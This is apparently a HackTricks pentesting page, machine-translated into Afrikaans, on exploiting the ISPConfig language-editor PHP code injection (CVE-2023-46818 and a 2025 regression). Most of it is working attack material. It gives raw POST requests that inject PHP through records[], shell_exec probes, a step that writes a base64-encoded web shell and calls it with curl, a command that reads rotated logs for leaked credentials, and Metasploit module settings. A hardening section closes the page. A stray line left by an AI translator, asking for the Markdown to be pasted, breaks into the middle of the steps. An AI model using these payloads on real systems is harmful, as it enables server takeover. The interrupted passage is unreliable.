ISPConfig

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Overview

ISPConfig is ’n oopbron-hosting beheerpaneel. Ouere 3.2.x-boues het ’n taal-lêerredigeerderfunksie gehad wat, wanneer dit vir die superadministrateur aangeskakel is, arbitrêre PHP-kode-inspuiting via ’n foutiewe vertalingsrekord toegelaat het. Dit kan RCE in die webbedienerkonteks oplewer en, afhangend van hoe PHP uitgevoer word, privilege escalation.

Key default paths:

  • Web-wortel is dikwels by /var/www/ispconfig wanneer dit bedien word met php -S of via Apache/nginx.
  • Admin UI bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig).

Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Taalredigeerder PHP-kode-inspuiting (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Voorvereistes:
  • Teken in as die ingeboude superadmin-rekening admin (ander rolle word volgens die verskaffer nie geraak nie)
  • Taalredigeerder moet geaktiveer wees: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impak: ’n geverifieerde admin kan arbitrêre PHP inspuit wat in ’n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig

Verwysings: NVD-inskrywing CVE-2023-46818 en verskaffer se advisory-skakel in die Verwysings-afdeling hieronder.

Handmatige uitbuitingsvloei

  1. Maak ’n taal-lêer oop of skep een om CSRF-tokens te bekom

Stuur ’n eerste POST om die vorm te inisialiseer en ontleed die CSRF-velde uit die HTML-respons (csrf_id, csrf_key). Voorbeeldversoekpad: /admin/language_edit.php.

  1. Inspuit PHP via records[] en stoor

Dien ’n tweede POST in wat die CSRF-velde en ’n kwaadwillige vertaalrekord insluit. Minimale opdraguitvoeringsprobes:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (waarneming van ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Skryf lêers en plaas ’n webshell

Gebruik file_put_contents om ’n lêer te skep onder ’n web-bereikbare pad (bv., admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Skryf dan ’n eenvoudige webshell wat base64 gebruik om slegte karakters in die POST body te vermy:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Ek het nie toegang tot die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md nie. Plak asseblief die Markdown-tekste wat jy wil hê ek moet na Afrikaans vertaal.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

As PHP as root uitgevoer word (bv. via php -S 127.0.0.1:8080 wat deur root begin is), lewer dit onmiddellike root RCE. Andersins kry jy kode-uitvoering as die webserver-gebruiker.

2025 regressie (ISPConfig 3.3.0 / 3.3.0p1)

Die language editor-bug het weer opgeduik in 3.3.0/3.3.0p1 en is reggestel in 3.3.0p2. Voorvereistes bly onveranderd (admin_allow_langedit en admin login). Dieselfde patch het ook ’n monitor XSS en wêreldleesbare geroteerde logs aangespreek.

Aantekeninge:

  • Op 3.3.0/3.3.0p1 kon wêreldleesbare geroteerde logs onder /usr/local/ispconfig/interface/log/ credentials leak indien debug logging geaktiveer was:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit-stappe stem ooreen met CVE-2023-46818; 3.3.0p2 voeg ekstra kontroles by voordat taalredigering toegestaan word.

Python PoC

’n kant-en-klare exploit outomatiseer tokenhantering en payload-aflewering:

Voorbeelduitvoering:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit-module (vrygestel Julie 2025)

Rapid7 het exploit/linux/http/ispconfig_lang_edit_php_code_injection bygevoeg, wat outomaties admin_allow_langedit kan aktiveer as die verskafde admin-rekening system-config regte het.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Die module skryf ’n base64-encoded payload deur records[] en voer dit uit, wat ’n PHP Meterpreter of custom payload lewer.

Verharding

  • Opgradeer na 3.2.11p1 of later vir die oorspronklike probleem, en na 3.3.0p2 of later vir die 2025-regressie.
  • Deaktiveer die taalredigeerder tensy dit uiters nodig is:
admin_allow_langedit=no
  • Vermy om die beheerpaneel as root te laat loop; configureer PHP-FPM of die web server om voorregte te verlaag
  • Dwing sterk verifikasie af vir die ingeboude admin-rekening

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks